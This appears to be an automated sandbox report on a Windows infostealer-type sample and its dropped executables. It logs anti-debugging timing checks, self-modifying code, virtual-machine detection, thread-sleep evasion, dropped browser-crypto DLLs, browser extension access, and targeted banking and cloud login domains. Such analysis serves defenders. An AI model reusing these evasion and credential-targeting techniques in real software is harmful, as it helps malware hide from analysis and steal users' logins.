Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	RDTSC instruction interceptor: First address: 82F2A3 second address: 82F2A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	RDTSC instruction interceptor: First address: 82F2A9 second address: 82F2B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	RDTSC instruction interceptor: First address: 82F2B2 second address: 82F2B8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	RDTSC instruction interceptor: First address: 82F2B8 second address: 82F2BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	RDTSC instruction interceptor: First address: 82F2BC second address: 82F2C0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	RDTSC instruction interceptor: First address: 82F426 second address: 82F42B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	RDTSC instruction interceptor: First address: 82F42B second address: 82F432 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	RDTSC instruction interceptor: First address: 82F432 second address: 82F43A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc

Tries to evade debugger and weak emulator (self modifying code)

Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Special instruction interceptor: First address: 58C43A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Special instruction interceptor: First address: 594634 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe	Special instruction interceptor: First address: 61199A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 85C43A instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 864634 instructions caused by: Self-modifying code
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Special instruction interceptor: First address: 8E199A instructions caused by: Self-modifying code

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe

Code function: 7_2_04BF0CB7 rdtsc

7_2_04BF0CB7

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe

Thread delayed: delay time: 180000

Jump to behavior

Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 1036	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Window / User API: threadDelayed 1254	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window / User API: threadDelayed 362	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Window / User API: threadDelayed 1457
Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe	Window / User API: threadDelayed 946

Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\file.exe	API coverage: 0.7 %
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe	API coverage: 0.0 %

Source: C:\Users\user\Desktop\file.exe TID: 3168	Thread sleep count: 269 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3812	Thread sleep count: 37 > 30	Jump to behavior
Source: C:\Users\user\Desktop\file.exe TID: 3812	Thread sleep time: -37000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2992	Thread sleep count: 35 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 2992	Thread sleep time: -70035s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5540	Thread sleep count: 33 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5540	Thread sleep time: -66033s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 5820	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 4092	Thread sleep time: -34017s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 3856	Thread sleep count: 362 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 3856	Thread sleep time: -10860000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 6432	Thread sleep count: 36 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 6432	Thread sleep time: -72036s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 6692	Thread sleep time: -1080000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe TID: 3856	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1000006001\0244247334.exe TID: 6728	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\1000007001\06f6d9547f.exe

Thread sleep count: Count: 1457 delay: -10

Source: C:\Users\user\AppData\Local\Temp\CFBAKEHIEB.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_6C56C930 GetSystemInfo,VirtualAlloc,GetSystemInfo,VirtualFree,VirtualAlloc,

0_2_6C56C930

Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 180000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Thread delayed: delay time: 30000	Jump to behavior

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2012 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: #Windows 10 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 2016 Server Standard without Hyper-V (core)
Source: 06f6d9547f.exe, 0000000F.00000003.3011183886.0000000001517000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: 0244247334.exe, 0000000E.00000002.3055852446.000000000191B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWh
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: (Windows 2012 R2 Microsoft Hyper-V Server
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 2012 R2 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: vmci.sys
Source: GHCGDAFC.0.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 0Windows 8 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 6Windows 8.1 Essential Server Solutions without Hyper-V
Source: GHCGDAFC.0.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: vmware
Source: GHCGDAFC.0.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Essential Server Solutions without Hyper-V
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.5.dr	Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.5.dr	Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: GHCGDAFC.0.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: "Windows 8 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (full)
Source: explorti.exe, explorti.exe, 0000000D.00000002.3240756659.0000000000839000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual USB Mouse
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V
Source: GHCGDAFC.0.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Microsoft Hyper-V Server
Source: Amcache.hve.5.dr	Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: GHCGDAFC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: GHCGDAFC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: GHCGDAFC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: GHCGDAFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: GHCGDAFC.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: GHCGDAFC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: GHCGDAFC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: GHCGDAFC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: file.exe, file.exe, 00000000.00000002.2449562218.0000000000B1C000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.0000000000A8C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: GHCGDAFC.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: GHCGDAFC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: file.exe, file.exe, 00000000.00000002.2449562218.0000000000B1C000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.0000000000A8C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: file.exe, 00000000.00000002.2449562218.0000000000B1C000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.0000000000A8C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: CFBAKEHIEB.exe, 00000007.00000002.2503519634.0000000000569000.00000040.00000001.01000000.00000009.sdmp, explorti.exe, 0000000B.00000002.2531628183.0000000000839000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000C.00000002.2536191640.0000000000839000.00000040.00000001.01000000.0000000D.sdmp, explorti.exe, 0000000D.00000002.3240756659.0000000000839000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: GHCGDAFC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: file.exe, file.exe, 00000000.00000002.2449562218.00000000009EC000.00000040.00000001.01000000.00000003.sdmp, 0244247334.exe, 0244247334.exe, 0000000E.00000002.3054902462.000000000095C000.00000040.00000001.01000000.0000000E.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
